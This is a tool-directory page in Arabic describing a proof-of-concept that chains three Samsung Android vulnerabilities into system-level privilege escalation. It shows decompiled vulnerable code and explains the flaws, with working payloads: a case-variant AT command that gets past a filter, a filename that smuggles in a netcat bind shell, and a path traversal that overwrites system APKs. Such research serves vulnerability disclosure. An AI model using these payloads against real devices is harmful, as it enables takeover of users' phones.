Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
samsung-android-lpe — إثبات المفهوم لـ CVE-2026-20980, CVE-2026-20981, CVE-2026-20982 | Kitploit
أدوات/GitHubGitHub/vikramaditya015/samsung-android-lpe
أمان أندرويدتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمن الجوالالقيادة والسيطرةتطوير الحمولات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
vikramaditya015/samsung-android-lpe

samsung-android-lpe

إثبات المفهوم لـ CVE-2026-20980, CVE-2026-20981, CVE-2026-20982

عرض المستودع
418منذ 2 أشهرتمت المراجعة من قبل Kitploit

الجزء 1: تنفيذ أمر AT تعسفي (CVE-2026-20980)

يتم إدارة أوامر معالج التطبيقات (AP) بواسطة at_distributor بعد تبديل وضع الاتصال في جهاز مفتوح باستخدام.

root@kitploit:~
AT+SWATD=0
AT+ACTIVATE=0,0,0
AT+SWATD=1

يتحقق at_distributor من أوامر AT عبر الدالة pacm_check_at_cmds

root@kitploit:~
void main(int32_t arg1, void* arg2) __noreturn
{
    int32_t var_21b0 = arg1;
    data_42c170 = SignalHandler;
    sigemptyset(0x42c178);
    ...
    if (pacm_check_at_cmds(&data_42c1b4, &var_2160, &data_404a82, v0_11) != 1)  {
        SendToTerminal(&var_2160,                            
        __strlen_chk(&var_2160, 0x80)                    
    } else {
        __android_log_print(3, "AT_Distributor", "%s()", "HandleMessageFromUart");
        ...
    }   
    ...
}

يقع منطق الدالة في

root@kitploit:~
ldd at_distributor
libpacm_client.so => /system/lib64/libpacm_client.so

تستدعي الدالة is_multiple_cmds للتحقق مما إذا كان أمر AT يحتوي على أوامر متعددة.

root@kitploit:~
uint64_t pacm_check_at_cmds(int64_t arg1, char* arg2)
{
    uint64_t x24 = _ReadMSR(tpidr_el0);
    int64_t x8 = *(x24 + 0x28);
    int32_t var_284;
    ...
    if (!arg1)
    {
        __android_log_print(6, "PACMAN", "%s : AT Command is NULL\n", "pacm_check_at_cmds", v0);
        x20_1 = var_284;
        ...
    } else {
        Command::set_command(&var_280);
        char var_2d0;
        void* var_2c0;
        
        if (var_2d0 & 1)
            operator delete(var_2c0, var_2d0 & 0xfffffffffffffffe);
        int32_t x8_6;
        
        if (!Command::is_multiple_cmds())
        {
            int32_t x0_13;
            int128_t v0_1;
            x0_13 = Command::preprocess_cmds(&var_280);
            ...
        }
        ...
    }    
}   

int64_t Command::is_multiple_cmds()
{
    ...
    size_t x0 = strlen("
at+");
    if (x0) {
        ...
        memcmp(x0_4, "
at+", x0);
        ...
    }
    size_t x0_1 = strlen("
AT+");
    if (x0_1) {
        ...
        memcmp(x0_7, "
AT+", x0_1);
        ...
    }
    size_t x0_2 = strlen("
at+");
    if (x0_2) {
        ...
        memcmp(x0_10, "
at+", x0_2);
        ...
    }
    size_t x0_3 = strlen("
AT+");
    if (x0_3) {
        ...
        memcmp(x0_13, "
AT+", x0_3);
        ...
    }
    ...
    return 1;
}

لذا فإن أمر AT مع هذه الحمولة سيفشل.

root@kitploit:~
TX: AT+\nAT+VERSNAME=3,2,1
RX: +CME Error:PACM(AP),MULTIPLE_CMD

لكن is_multiple_cmd يفشل في التحقق من "aT+" أو "At+" وبالتالي يتم تنفيذ الأمر المحمي/غير المسجل.

root@kitploit:~
TX: AT+\naT+VERSNAME=1,3,0 (ملاحظة: AT+VERSNAME=1,3,0 هو أمر محمي)
RX: +VERSNAME:1,SM8550,SM8550

الجزء 2: تنفيذ أمر نظام تعسفي في FacAtFunction (CVE-2026-20981)

FacAtFunction (uid 1000) هو تطبيق نظام، يقوم بمعالجة معظم أوامر AT الخاصة بمعالج التطبيقات، تحديداً أمر غير مسجل AT+CAMEAUTO

يستخدم هذا الأمر لالتقاط الشاشة باستخدام دالة shell/exec.

root@kitploit:~
...
if (checkArgu(strArr, new String[]{"0", "1", "0", "2"})) {
                    FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "handleCommand", "Screen Capture & File Name : " + strArr[4]);
                    screenCapture(strArr[4]);
                    FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "screenCapture", "result : 1");
                    str = responseOK(strArr[0]);
                    ...
}

public final void screenCapture(String str) {
        Process process;
        FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "ScreenCapture Start");
        ...
        String str3 = i < 10 ? m + "SCREENIMAGE0" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg" : m + "SCREENIMAGE" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg";
        FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "screenCapture", str + i + " / " + str3);
        ?? r15 = {"/system/bin/sh", "-c", str3};
        Process process2 = null;
        try {
            try {
                FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "capture command");
                process = Runtime.getRuntime().exec(r15);
            ...
        }
        ...
}

يتم أخذ اسم الملف من المستخدم، لكن دالة screenCapture تفشل في تعقيم اسم الملف. ونظرًا لأنه يمكننا تنفيذ أمر غير مسجل من الجزء 1، يمكن تنفيذه على النحو التالي.

root@kitploit:~
TX: AT\naT+CAMEAUTO=0,1,0,2,/;/system/bin/toybox netcat -s 127.0.0.1 -p 1234 -L sh -l;
RX: OK

الجزء 3: كتابة ملف تعسفي في ShortcutService (CVE-2026-20982)

قامت سامسونج بتنفيذ طريقة استعادة مخصصة لـ Smart Switch لاستعادة ملفات Bitmap.

root@kitploit:~
public void restoreBitmapsFromBackupService(ParcelFileDescriptor parcelFileDescriptor, String str, String str2) {
        enforceScloudBackupWritePermission();
        try {
            ParcelFileDescriptor.AutoCloseInputStream autoCloseInputStream = new ParcelFileDescriptor.AutoCloseInputStream(parcelFileDescriptor);
            FileOutputStream openIconFileForWriteSmartSwitch = openIconFileForWriteSmartSwitch(0, str, str2);
            byte[] bArr = new byte[1024];
            while (true) {
                int read = autoCloseInputStream.read(bArr);
                if (read <= 0) {
                    break;
                }
                openIconFileForWriteSmartSwitch.write(bArr, 0, read);
            }
            if (openIconFileForWriteSmartSwitch != null) {
                openIconFileForWriteSmartSwitch.close();
            }
            autoCloseInputStream.close();
        } catch (Exception unused) {
        }
}
public final FileOutputStream openIconFileForWriteSmartSwitch(int i, String str, String str2) {
        File file = new File(getUserBitmapFilePath(i), str);
        if (!file.isDirectory()) {
            file.mkdirs();
            if (!file.isDirectory()) {
                Slog.d("ShortcutService", "Unable to create directory " + file);
                throw new IOException("Unable to create directory " + file);
            }
            SELinux.restorecon(file);
        }
        File file2 = new File(file, str2);
        if (file2.exists()) {
            Slog.d("ShortcutService", "Unable to create file - already exists " + file2);
            throw new IOException("Unable to create file - already exists " + file2);
        }
        return new FileOutputStream(file2);
}

public final void enforceScloudBackupWritePermission() {
        injectEnforceCallingPermission("com.samsung.android.scloud.backup.lib.write", null);
}

تتم حماية restoreBitmapsFromBackupService بواسطة الإذن "com.samsung.android.scloud.backup.lib.write"، سنستخدم uid 1000 من الجزء 2 الذي لديه الإذن اللازم لاستدعاء الدالة.

هنا تفشل في تعقيم str (الدليل) و str2 (اسم الملف) من اجتياز المسار. نظرًا لأن ShortcutService يعمل في عملية system_server، يمكننا استبدال base.apk لتطبيق نظام أو تعديل packages.xml للحصول على تنفيذ الأكواد في system_server.

إثبات المفهوم

  • السلسلة الكاملة لجميع CVEs الثلاثة موجودة في PoC/at.py
  • المصدر لـ classes.dex في PoC/CVE-2026-20982/Exploit.java
  • عرض إثبات المفهوم
تنزيل الأداة